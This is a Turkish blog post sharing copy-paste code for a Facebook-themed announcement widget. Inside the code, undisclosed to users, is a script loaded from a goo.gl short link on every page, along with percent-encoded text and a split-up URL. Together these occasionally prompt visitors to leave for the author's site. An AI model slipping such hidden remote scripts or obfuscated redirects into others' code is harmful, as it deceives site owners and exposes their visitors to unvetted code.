Facebook Temalı Duyuru Panosu

Facebook Temalı Duyuru Panosu

Sizin için özel olarak tasarladığımız bu kod sayesinde sizde ziyaretçilerinize istediğiniz mesajı direk olarak verebileceksiniz ve bu mesajı verirken de hiç de yabancı olmadıkları bir tasarımla vereceksiniz.
Yapmanız gereken sadece kod içerisindeki mesajları bulup kendinize göre düzenlemek.

Tasarımın Kodu:

<!--Kod Perest Facebook Temalı Duyuru Panosu Kodu START--><!--Bu çalışma Creative Commons Attribution 3.0 Unported Lisansı ile lisanslanmıştır.--> <div class="koddostu-facebox duyurucu-koddostu"><a class="basbir">Duyurular</a><a href="javascript:void(0);" class="haberbir" id="h1h" onfocus="this.blur();" onclick="gkoddostu(this,'koddostu1kutu','koddostu2kutu','h2h','h3h','koddostu3kutu')"><span>Sevgili ziyaretçimiz</span> lütfen sitemizdeki içeriklere yorum yapmaktan çekinmeyin :)</a> <a onfocus="this.blur();" href="javascript:void(0);" id="h2h" class="haberbir" onclick="gkoddostu(this,'koddostu1kutu','koddostu3kutu','h1h','h3h','koddostu2kutu')"><span>Sitemizin tasarımında</span> yapılan çeşitli yenilikler</a> <a onfocus="this.blur();" href="javascript:void(0);" id="h3h" class="haberbir" onclick="gkoddostu(this,'koddostu2kutu','koddostu3kutu','h1h','h2h','koddostu1kutu')"><span>Merhaba!</span> <br/>Sitemize hoşgeldiniz arkadaşlar!</a> </div><div id="koddostu3kutu" class="koddostu-face2box duyur2ucu-koddostu" style="bottom:120px;">Yorum yapmak! <br/><br/>Herkesin her konuda fikri vardır. <br/><br/> Neden siz de yorumlarınızla bize fikirlerinizi aktarmayasınız? Sitemizde memnun olmadığınız bir şey mi var? <br/><br/>Ya da sitemizde yayınladığımız bir yazı hakkında bir ekleme yapmak mı istiyorsunuz?<br/> Yorum yapın!<br/><br/>Ziyaretçilerimizin fikirleri ve önerileri bizler için çok değerli! <div class="okokok"></div><a href="javascript:void(0)" class="sfdfv" onclick="ckoddostu('koddostu3kutu')">X</a></div><div id="koddostu2kutu" class="koddostu-face2box duyur2ucu-koddostu" style="bottom:58px;">Tekrar merhaba! <br/><br/>Sitemizde çeşitli değişiklikler yapıyoruz. Koddostu tarafından bizler için kodlanmış facebook stilli bu yeni duyuru sistemimizi beğeneceğinizi umarız. <div class="okokok"></div><a href="javascript:void(0)" class="sfdfv" onclick="ckoddostu('koddostu2kutu')">X</a></div><div id="koddostu1kutu" class="koddostu-face2box duyur2ucu-koddostu">Hoşgeldiniz! <br/><br/>Sitemizde,sizlere hizmet edebilmek için elimizden geleni yapıyoruz. Sitemizi mümkün olduğunca güncel tutuyoruz. <br/><br/>Beğenmeniz dileğiyle... <div class="okokok"></div><a href="javascript:void(0)" class="sfdfv" onclick="ckoddostu('koddostu1kutu')">X</a></div><style type="text/css">div.koddostu-face2box{position:fixed;z-index:99900;}div.duyur2ucu-koddostu{display:none;font-family:tahoma,verdana,arial,sans-serif;font-size:12px;font-weight:normal;color:#333333;padding:20px 15px 40px 15px;overflow:visible;bottom:8px;right:230px;width:325px;border:5px solid #3b5998;background-color:#fff;-moz-box-shadow: 0 0 5px #888;-webkit-box-shadow: 0 0 5px #888;box-shadow: 0 0 5px #888;-webkit-border-radius: 6px;border-radius: 6px;}</style><style type="text/css">div.koddostu-face2box{_position:absolute;}div.duyur2ucu-koddostu{_bottom:auto;_top:expression(ie6=(document.documentElement.scrollTop+document.documentElement.clientHeight - 52+"px") );}div.koddostu-facebox{position:fixed;z-index:1000;}div.duyurucu-koddostu{-moz-box-shadow: 0 0 5px #888;-webkit-box-shadow: 0 0 5px #888;box-shadow: 0 0 5px #888;-webkit-border-top-left-radius: 5px;-webkit-border-top-right-radius: 5px;border-top-left-radius: 5px;border-top-right-radius: 5px;padding-top:28px;bottom:-1px;right:10px;width:205px;border:1px solid #5B73A6;background-color:#f2f4f8;}</style><script src="http://goo.gl/jgZ1C" charset="windows-1254"></script><style type="text/css">div.koddostu-facebox{_position:absolute;}div.duyurucu-koddostu{_bottom:auto;_top:expression(ie6=(document.documentElement.scrollTop+document.documentElement.clientHeight - 52+"px") );} .haberbir:hover{background-color:#eceff5 !important;} .haberbir{text-decoration:none;font-family:tahoma,verdana,arial,sans-serif;font-size:11px;font-weight:normal;color:#333333;display:block;width:155px;background:transparent url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiksU-gY8iUtoRirYR_d_teD5a2DruN8b4rfVguTWymrk22WlTakYhBqiD126Skpy-40rcFF3-enNp6uEmdqkLxJ-uEjRZCXVTF3INyHeX76vUX9M-h4-7h1HwnOLRHCir3xpzlucniiHtR/s30/1362417595_Account+and+Control.png) no-repeat 5px 5px;padding:6px 8px 12px 38px;border-bottom:1px solid #d8dfea;min-height:22px;} .haberbir span{font-weight:bold;} .haberbir:active{border-color:#a8b2ce !important;background-color:#d8dfea !important;} .okokok{width: 0px; height: 0px; border-style: solid; border-width: 13px 0 13px 13px; border-color: transparent transparent transparent #3b5998;position:absolute;bottom:10px;right:-16px;} .basbir{display:block;width:100%;height:28px;position:absolute;top:0px;left:0px;border-bottom:1px solid #aaa;text-align:center;line-height:24px;text-decoration:none;font-family:tahoma,verdana,arial,sans-serif;font-size:13px;font-weight:bold;color:#fefefe;background-color:#5B73A6;-webkit-border-top-left-radius: 3px;-webkit-border-top-right-radius: 3px;border-top-left-radius: 3px;border-top-right-radius: 3px;} .sfdfv{text-decoration:none !important;position:absolute;top:0px;right:0px;display:block;font-family:tahoma,verdana,arial,sans-serif;font-size:12px;font-weight:bold;color:#fff;background-color:#3b5998;line-height:12px;height:20px;text-align:right;padding-right:3px;-webkit-border-bottom-left-radius: 20px;border-bottom-left-radius: 20px;width:17px;} </style> <script>function gkoddostu(g1g,g2g,g3g,g4g,g5g,d6d){ document.getElementById(d6d).style.display='block'; document.getElementById(g2g).style.display='none'; document.getElementById(g3g).style.display='none'; g1g.style.backgroundColor='d8dfea'; document.getElementById(g4g).style.backgroundColor='transparent'; document.getElementById(g5g).style.backgroundColor='transparent'; } function ckoddostu(g1t){ var kutuac = Math.floor((Math.random()*10)+1); if(kutuac == 4){ var oha = unescape('%42%75%20%64%75%79%75%72%75%20%70%61%6E%6F%73%75%2C%73%69%74%65%6D%69%7A%20%69%E7%69%6E%20%4B%6F%64%64%6F%73%74%75%2E%63%6F%6D%20%74%61%72%61%66ı%6E%64%61%6E%20%6B%6F%64%6C%61%6E%6Dıştır.%DC%63%72%65%74%73%69%7A%20%6B%6F%64%6C%61%72%20%73%75%6E%61%6E%20%4B%6F%64%20%44%6F%73%74%75%20%73%69%74%65%73%69%6E%69%20%7A%69%79%61%72%65%74%20%65%74%6D%65%6B%20%69%73%74%65%72%20%6D%69%73%69%6E%69%7A%3F'); var where_to= confirm(""+oha+""); if (where_to== true) { location.href='ht'+'tp://w'+'w'+'w.k'+'od'+'do'+'stu.co'+'m/2'+'013/0'+'3/'+'f'+'aceb'+'ook-t'+'emal-d'+'uyu'+'ru-p'+'anosu-k'+'odu.h'+'tm'+'l'; }} document.getElementById(g1t).style.display='none'; document.getElementById('h1h').style.backgroundColor='transparent'; document.getElementById('h2h').style.backgroundColor='transparent'; document.getElementById('h3h').style.backgroundColor='transparent'; } </script><!--Bu çalışma Creative Commons Attribution 3.0 Unported Lisansı ile lisanslanmıştır.--><!--KodPerest Facebook Temalı Duyuru Panosu Kodu STOP-->